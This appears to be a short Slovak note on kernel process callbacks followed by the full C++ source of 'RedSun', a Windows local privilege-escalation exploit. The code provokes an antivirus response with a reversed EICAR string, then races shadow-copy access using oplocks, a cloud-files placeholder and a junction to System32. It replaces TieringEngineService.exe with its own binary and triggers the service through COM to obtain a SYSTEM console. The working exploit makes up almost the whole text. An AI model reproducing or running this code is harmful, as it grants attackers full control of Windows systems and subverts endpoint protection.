⚙️ C) Kernel callbacks (PSSetCreateProcessNotifyRoutine, atď.)
Driver môže:
vidieť vznik procesu rozhodnúť ho blokovať alebo ukončiť
https://github.com/Nightmare-Eclipse/RedSun/blob/main/RedSun.cpp
// It gets funnier as time passes...
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <Windows.h>
#include <conio.h>
#include <winternl.h>
#include <ntstatus.h>
#include <cfapi.h>
#pragma comment(lib,"synchronization.lib")
#pragma comment(lib,"sas.lib")
#pragma comment(lib,"ntdll.lib")
#pragma comment(lib,"CldApi.lib")
typedef struct _FILE_DISPOSITION_INFORMATION_EX {
ULONG Flags;
} FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX;
typedef struct _FILE_RENAME_INFORMATION {
#if (_WIN32_WINNT >= _WIN32_WINNT_WIN10_RS1)
union {
BOOLEAN ReplaceIfExists; // FileRenameInformation
ULONG Flags; // FileRenameInformationEx
} DUMMYUNIONNAME;
#else
BOOLEAN ReplaceIfExists;
#endif
HANDLE RootDirectory;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_RENAME_INFORMATION, * PFILE_RENAME_INFORMATION;
typedef struct _OBJECT_DIRECTORY_INFORMATION {
UNICODE_STRING Name;
UNICODE_STRING TypeName;
} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;
typedef struct _REPARSE_DATA_BUFFER {
ULONG ReparseTag;
USHORT ReparseDataLength;
USHORT Reserved;
union {
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
ULONG Flags;
WCHAR PathBuffer[1];
} SymbolicLinkReparseBuffer;
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
WCHAR PathBuffer[1];
} MountPointReparseBuffer;
struct {
UCHAR DataBuffer[1];
} GenericReparseBuffer;
} DUMMYUNIONNAME;
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)
HMODULE h = LoadLibrary(L"ntdll.dll");
HMODULE hm = GetModuleHandle(L"ntdll.dll");
NTSTATUS(WINAPI* _NtOpenDirectoryObject)(
PHANDLE DirectoryHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
) = (NTSTATUS(WINAPI*)(
PHANDLE DirectoryHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
))GetProcAddress(hm, "NtOpenDirectoryObject");;
NTSTATUS(WINAPI* _NtQueryDirectoryObject)(
HANDLE DirectoryHandle,
PVOID Buffer,
ULONG Length,
BOOLEAN ReturnSingleEntry,
BOOLEAN RestartScan,
PULONG Context,
PULONG ReturnLength
) = (NTSTATUS(WINAPI*)(
HANDLE DirectoryHandle,
PVOID Buffer,
ULONG Length,
BOOLEAN ReturnSingleEntry,
BOOLEAN RestartScan,
PULONG Context,
PULONG ReturnLength
))GetProcAddress(hm, "NtQueryDirectoryObject");
NTSTATUS(WINAPI* _NtSetInformationFile)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass
) = (NTSTATUS(WINAPI*)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass
))GetProcAddress(hm, "NtSetInformationFile");
struct LLShadowVolumeNames
{
wchar_t* name;
LLShadowVolumeNames* next;
};
void DestroyVSSNamesList(LLShadowVolumeNames* First)
{
while (First)
{
free(First->name);
LLShadowVolumeNames* next = First->next;
free(First);
First = next;
}
}
LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber)
{
if (!criticalerr || !vscnumber)
return NULL;
*vscnumber = 0;
ULONG scanctx = 0;
ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
ULONG retsz = 0;
OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
if (!objdirinfo)
{
printf("Failed to allocate required buffer to query object manager directory.\n");
*criticalerr = true;
return NULL;
}
ZeroMemory(objdirinfo, reqsz);
NTSTATUS stat = STATUS_SUCCESS;
do
{
stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz);
if (stat == STATUS_SUCCESS)
break;
else if (stat != STATUS_MORE_ENTRIES)
{
printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
*criticalerr = true;
return NULL;
}
free(objdirinfo);
reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
if (!objdirinfo)
{
printf("Failed to allocate required buffer to query object manager directory.\n");
*criticalerr = true;
return NULL;
}
ZeroMemory(objdirinfo, reqsz);
} while (1);
void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
LLShadowVolumeNames* LLVSScurrent = NULL;
LLShadowVolumeNames* LLVSSfirst = NULL;
for (ULONG i = 0; i < ULONG_MAX; i++)
{
if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
{
free(emptybuff);
break;
}
if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
{
wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
{
if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
{
(*vscnumber)++;
if (LLVSScurrent)
{
LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
if (!LLVSScurrent->next)
{
printf("Failed to allocate memory.\n");
*criticalerr = true;
DestroyVSSNamesList(LLVSSfirst);
return NULL;
}
ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames));
LLVSScurrent = LLVSScurrent->next;
LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
if (!LLVSScurrent->name)
{
printf("Failed to allocate memory !!!\n");
*criticalerr = true;
return NULL;
}
ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
}
else
{
LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
if (!LLVSSfirst)
{
printf("Failed to allocate memory.\n");
*criticalerr = true;
return NULL;
}
ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames));
LLVSScurrent = LLVSSfirst;
LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
if (!LLVSScurrent->name)
{
printf("Failed to allocate memory !!!\n");
*criticalerr = true;
return NULL;
}
ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
}
}
}
}
}
free(objdirinfo);
return LLVSSfirst;
}
HANDLE gevent = CreateEvent(NULL, FALSE, NULL, NULL);
DWORD WINAPI ShadowCopyFinderThread(wchar_t* foo)
{
wchar_t devicepath[] = L"\\Device";
UNICODE_STRING udevpath = { 0 };
RtlInitUnicodeString(&udevpath, devicepath);
OBJECT_ATTRIBUTES objattr = { 0 };
InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS stat = STATUS_SUCCESS;
HANDLE hobjdir = NULL;
stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr);
if (stat)
{
printf("Failed to open object manager directory, error : 0x%0.8X", stat);
return 1;
}
bool criterr = false;
int vscnum = 0;
LLShadowVolumeNames* vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum);
if (criterr)
{
printf("Unexpected error while listing current volume shadow copy volumes\n");
ExitProcess(1);
}
bool restartscan = false;
ULONG scanctx = 0;
ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
ULONG retsz = 0;
OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
if (!objdirinfo)
{
printf("Failed to allocate required buffer to query object manager directory.\n");
ExitProcess(1);
}
ZeroMemory(objdirinfo, reqsz);
stat = STATUS_SUCCESS;
bool srchfound = false;
scanagain:
do
{
scanctx = 0;
stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz);
if (stat == STATUS_SUCCESS)
break;
else if (stat != STATUS_MORE_ENTRIES)
{
printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
ExitProcess(1);
}
free(objdirinfo);
reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
if (!objdirinfo)
{
printf("Failed to allocate required buffer to query object manager directory.\n");
ExitProcess(1);
}
ZeroMemory(objdirinfo, reqsz);
} while (1);
void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
if (!emptybuff)
{
printf("Failed to allocate memory !!!");
ExitProcess(1);
}
ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
wchar_t newvsspath[MAX_PATH] = { 0 };
wcscpy(newvsspath, L"\\Device\\");
for (ULONG i = 0; i < ULONG_MAX; i++)
{
if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
{
free(emptybuff);
emptybuff = NULL;
break;
}
if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
{
wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
{
if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
{
// check against the list if there this is a unique VS Copy
LLShadowVolumeNames* current = vsinitial;
bool found = false;
while (current)
{
if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0)
{
found = true;
break;
}
current = current->next;
}
if (found)
continue;
else
{
srchfound = true;
wcscat(newvsspath, objdirinfo[i].Name.Buffer);
break;
}
}
}
}
}
if (!srchfound) {
restartscan = true;
goto scanagain;
}
if (objdirinfo)
free(objdirinfo);
NtClose(hobjdir);
wchar_t malpath[MAX_PATH] = { 0 };
wcscpy(malpath, newvsspath);
wcscat(malpath, &foo[2]);
UNICODE_STRING _malpath = { 0 };
RtlInitUnicodeString(&_malpath, malpath);
OBJECT_ATTRIBUTES objattr2 = { 0 };
InitializeObjectAttributes(&objattr2, &_malpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
IO_STATUS_BLOCK iostat = { 0 };
HANDLE hlk = NULL;
retry:
stat = NtCreateFile(&hlk, DELETE | SYNCHRONIZE, &objattr2, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, NULL, NULL, NULL);
if (stat == STATUS_NO_SUCH_DEVICE)
goto retry;
if (stat)
{
printf("Failed to open file, error : 0x%0.8X\n", stat);
return 1;
}
printf("The sun is shinning...\n");
OVERLAPPED ovd = { 0 };
ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
DeviceIoControl(hlk, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
if (GetLastError() != ERROR_IO_PENDING)
{
printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
return 0;
}
DWORD nbytes = 0;
SetEvent(gevent);
ResetEvent(gevent);
GetOverlappedResult(hlk, &ovd, &nbytes, TRUE);
WaitForSingleObject(gevent, INFINITE);
CloseHandle(hlk);
WakeByAddressAll(&gevent);
CloseHandle(gevent);
gevent = NULL;
return ERROR_SUCCESS;
}
void rev(char* s) {
// Initialize l and r pointers
int l = 0;
int r = strlen(s) - 1;
char t;
// Swap characters till l and r meet
while (l < r) {
// Swap characters
t = s[l];
s[l] = s[r];
s[r] = t;
// Move pointers towards each other
l++;
r--;
}
}
void DoCloudStuff(wchar_t* syncroot, wchar_t* filename, DWORD filesz = 0x1000)
{
CF_SYNC_REGISTRATION cfreg = { 0 };
cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION);
cfreg.ProviderName = L"SERIOUSLYMSFT"; // let's see how long you can play this game, I'm willing to go as far as you want.
cfreg.ProviderVersion = L"1.0";
CF_SYNC_POLICIES syncpolicy = { 0 };
syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES);
syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED;
syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_NONE;
syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT;
syncpolicy.InSync = CF_INSYNC_POLICY_NONE;
HRESULT hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
if (hs)
{
printf("Failed to register syncroot, hr = 0x%0.8X\n", hs);
return;
}
CF_CALLBACK_REGISTRATION callbackreg[1];
callbackreg[0] = { CF_CALLBACK_TYPE_NONE, NULL };
void* callbackctx = NULL;
CF_CONNECTION_KEY cfkey = { 0 };
hs = CfConnectSyncRoot(syncroot, callbackreg, callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey);
if (hs)
{
printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs);
return;
}
SYSTEMTIME systime = { 0 };
FILETIME filetime = { 0 };
GetSystemTime(&systime);
SystemTimeToFileTime(&systime, &filetime);
FILE_BASIC_INFO filebasicinfo = { 0 };
filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;
CF_FS_METADATA fsmetadata = { filebasicinfo, {filesz} };
CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 };
placeholder[0].RelativeFileName = filename;
placeholder[0].FsMetadata = fsmetadata;
GUID uid = { 0 };
wchar_t wuid[100] = {0};
CoCreateGuid(&uid);
StringFromGUID2(uid, wuid,100);
placeholder[0].FileIdentity = wuid;
placeholder[0].FileIdentityLength = lstrlenW(wuid) * sizeof(wchar_t);
placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE | CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC;
DWORD processedentries = 0;
//WaitForSingleObject(hevent, INFINITE);
hs = CfCreatePlaceholders(syncroot, placeholder, 1, CF_CREATE_FLAG_STOP_ON_ERROR, &processedentries);
if (hs)
{
printf("Failed to create placeholder file, error : 0x%0.8X\n", hs);
return;
}
return;
}
void LaunchConsoleInSessionId()
{
HANDLE hpipe = CreateFile(L"\\??\\pipe\\REDSUN", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hpipe == INVALID_HANDLE_VALUE)
return;
DWORD sessionid = 0;
if (!GetNamedPipeServerSessionId(hpipe, &sessionid))
return;
CloseHandle(hpipe);
HANDLE htoken = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken))
return;
HANDLE hnewtoken = NULL;
bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken);
CloseHandle(htoken);
if (!res)
return;
res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD));
if (!res)
{
CloseHandle(hnewtoken);
return;
}
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
CloseHandle(hnewtoken);
if (pi.hProcess)
CloseHandle(pi.hProcess);
if (pi.hThread)
CloseHandle(pi.hThread);
return;
}
bool IsRunningAsLocalSystem()
{
HANDLE htoken = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) {
printf("OpenProcessToken failed, error : %d\n", GetLastError());
return false;
}
TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER));
DWORD retsz = 0;
bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz);
CloseHandle(htoken);
if (!res)
return false;
bool ret = IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid);
if (ret) {
LaunchConsoleInSessionId();
ExitProcess(0);
}
return ret;
}
bool r = IsRunningAsLocalSystem();
void LaunchTierManagementEng()
{
CoInitialize(NULL);
GUID guidObject = { 0x50d185b9,0xfff3,0x4656,{0x92,0xc7,0xe4,0x01,0x8d,0xa4,0x36,0x1d} };
void* ret = NULL;
HRESULT hr = CoCreateInstance(guidObject, NULL, CLSCTX_LOCAL_SERVER, guidObject, &ret);
CoUninitialize();
}
int main()
{
HANDLE hpipe = CreateNamedPipe(L"\\??\\pipe\\REDSUN", PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, NULL, 1, NULL, NULL, NULL,NULL);
if (hpipe == INVALID_HANDLE_VALUE)
return 1;
wchar_t workdir[MAX_PATH] = { 0 };
ExpandEnvironmentStrings(L"%TEMP%\\RS-", workdir, MAX_PATH);
GUID uid = { 0 };
wchar_t wuid[100] = { 0 };
CoCreateGuid(&uid);
StringFromGUID2(uid, wuid, 100);
wcscat(workdir, wuid);
wchar_t filename[] = L"TieringEngineService.exe";
wchar_t foo[MAX_PATH];
wsprintf(foo, L"%ws\\%ws", workdir, filename);
DWORD tid = 0;
HANDLE hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ShadowCopyFinderThread, foo, NULL, &tid);
if (!CreateDirectory(workdir, NULL))
{
printf("Failed to create workdir");
return 1;
}
HANDLE hfile = CreateFile(foo, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hfile == INVALID_HANDLE_VALUE)
{
printf("Failed create spoof work file.\n");
return 1;
}
char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X";
rev(eicar);
DWORD nwf = 0;
WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL);
// trigger AV response
CreateFile(foo, GENERIC_READ | FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (WaitForSingleObject(gevent, 120000) != WAIT_OBJECT_0)
{
printf("PoC timed out, is real time protection enabled ?");
return 1;
}
IO_STATUS_BLOCK iostat = { 0 };
FILE_DISPOSITION_INFORMATION_EX fdiex = { 0x00000001 | 0x00000002 };
_NtSetInformationFile(hfile, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64);
CloseHandle(hfile);
DoCloudStuff(workdir, filename, sizeof(eicar) - 1);
OVERLAPPED ovd = { 0 };
ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
SetEvent(gevent);
WaitOnAddress(&gevent, &gevent, sizeof(HANDLE), INFINITE);
NTSTATUS stat;
wchar_t ntfoo[MAX_PATH] = { L"\\??\\" };
wcscat(ntfoo, foo);
UNICODE_STRING _foo = { 0 };
RtlInitUnicodeString(&_foo, ntfoo);
OBJECT_ATTRIBUTES _objattr = { 0 };
InitializeObjectAttributes(&_objattr, &_foo, OBJ_CASE_INSENSITIVE, NULL, NULL);
wchar_t _tmp[MAX_PATH] = { 0 };
wsprintf(_tmp, L"\\??\\%s.TMP", workdir);
MoveFileEx(workdir,_tmp,MOVEFILE_REPLACE_EXISTING);
if (!CreateDirectory(workdir, NULL))
{
printf("Failed to re-create directory.\n");
return 1;
}
LARGE_INTEGER fsz = { 0 };
fsz.QuadPart = 0x1000;
stat = NtCreateFile(&hfile, FILE_READ_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat, &fsz, FILE_ATTRIBUTE_READONLY, FILE_SHARE_READ, FILE_SUPERSEDE, NULL, NULL, NULL);
if (stat)
{
printf("Failed to re-open spoof work file, error : 0x%0.8X\n", stat);
return 1;
}
DeviceIoControl(hfile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
if (GetLastError() != ERROR_IO_PENDING)
{
printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
return 1;
}
HANDLE hmap = CreateFileMapping(hfile, NULL, PAGE_READONLY, NULL, NULL, NULL);
void* mappingaddr = MapViewOfFile(hmap, PAGE_READONLY, NULL, NULL, NULL);
DWORD nbytes = 0;
GetOverlappedResult(hfile, &ovd, &nbytes, TRUE);
UnmapViewOfFile(mappingaddr);
CloseHandle(hmap);
{
wchar_t _tmp[MAX_PATH] = { 0 };
wsprintf(_tmp, L"\\??\\%s.TEMP2", workdir);
PFILE_RENAME_INFORMATION pfri = (PFILE_RENAME_INFORMATION)malloc(sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp)));
ZeroMemory(pfri, sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp)));
pfri->ReplaceIfExists = TRUE;
pfri->FileNameLength = (sizeof(wchar_t) * wcslen(_tmp));
memmove(&pfri->FileName[0], _tmp, (sizeof(wchar_t) * wcslen(_tmp)));
stat = _NtSetInformationFile(hfile, &iostat, pfri, sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp)), (FILE_INFORMATION_CLASS)10);
_NtSetInformationFile(hfile, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64);
}
wchar_t _rp[MAX_PATH] = { L"\\??\\" };
wcscat(_rp, workdir);
UNICODE_STRING _usrp = { 0 };
RtlInitUnicodeString(&_usrp, _rp);
InitializeObjectAttributes(&_objattr, &_usrp, OBJ_CASE_INSENSITIVE, NULL, NULL);
HANDLE hrp = NULL;
stat = NtCreateFile(&hrp, FILE_WRITE_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF, FILE_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL);
if (stat)
{
printf("Failed to re-open work directory.\n");
return 1;
}
wchar_t rptarget[] = { L"\\??\\C:\\Windows\\System32" };
DWORD targetsz = wcslen(rptarget) * 2;
DWORD printnamesz = 1 * 2;
DWORD pathbuffersz = targetsz + printnamesz + 12;
DWORD totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH;
REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_BUFFER*)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, totalsz);
rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
rdb->ReparseDataLength = static_cast<USHORT>(pathbuffersz);
rdb->Reserved = NULL;
rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL;
rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast<USHORT>(targetsz);
memcpy(rdb->MountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2);
rdb->MountPointReparseBuffer.PrintNameOffset = static_cast<USHORT>(targetsz + 2);
rdb->MountPointReparseBuffer.PrintNameLength = static_cast<USHORT>(printnamesz);
memcpy(rdb->MountPointReparseBuffer.PathBuffer + targetsz / 2 + 1, rptarget, printnamesz);
DWORD ret = DeviceIoControl(hrp, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL, NULL, NULL, NULL);
HeapFree(GetProcessHeap(), NULL, rdb);
HANDLE hlk = NULL;
HANDLE htimer = CreateWaitableTimer(NULL, FALSE, NULL);
LARGE_INTEGER duetime = { 0 };
GetSystemTimeAsFileTime((LPFILETIME)&duetime);
ULARGE_INTEGER _duetime = { duetime.LowPart, duetime.HighPart };
_duetime.QuadPart += 0x2FAF080;
duetime.QuadPart = _duetime.QuadPart;
CloseHandle(hfile);
for (int i = 0; i < 1000; i++)
{
wchar_t malpath[] = { L"\\??\\C:\\Windows\\System32\\TieringEngineService.exe" };
UNICODE_STRING _malpath = { 0 };
RtlInitUnicodeString(&_malpath, malpath);
OBJECT_ATTRIBUTES objattr2 = { 0 };
InitializeObjectAttributes(&objattr2, &_malpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
IO_STATUS_BLOCK iostat = { 0 };
stat = NtCreateFile(&hlk, GENERIC_WRITE, &objattr2, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_SUPERSEDE, NULL, NULL, NULL);
if (!stat)
break;
Sleep(20);
}
if (stat != STATUS_SUCCESS)
{
printf("Something went wrong.\n");
return 1;
}
printf("The red sun shall prevail.\n");
CloseHandle(hlk);
CloseHandle(hrp);
wchar_t mx[MAX_PATH] = { 0 };
GetModuleFileName(GetModuleHandle(NULL), mx, MAX_PATH);
wchar_t mx2[MAX_PATH] = { 0 };
ExpandEnvironmentStrings(L"%WINDIR%\\System32\\TieringEngineService.exe", mx2, MAX_PATH);
CopyFile(mx, mx2, FALSE);
LaunchTierManagementEng();
Sleep(2000);
CloseHandle(hpipe);
return 0;
}

Comments “Okay máme v k1 teame nápad ako jednoducho obísť RedSun a BlueHammer, práve sme sa so svorkou rozprávali v mysli...”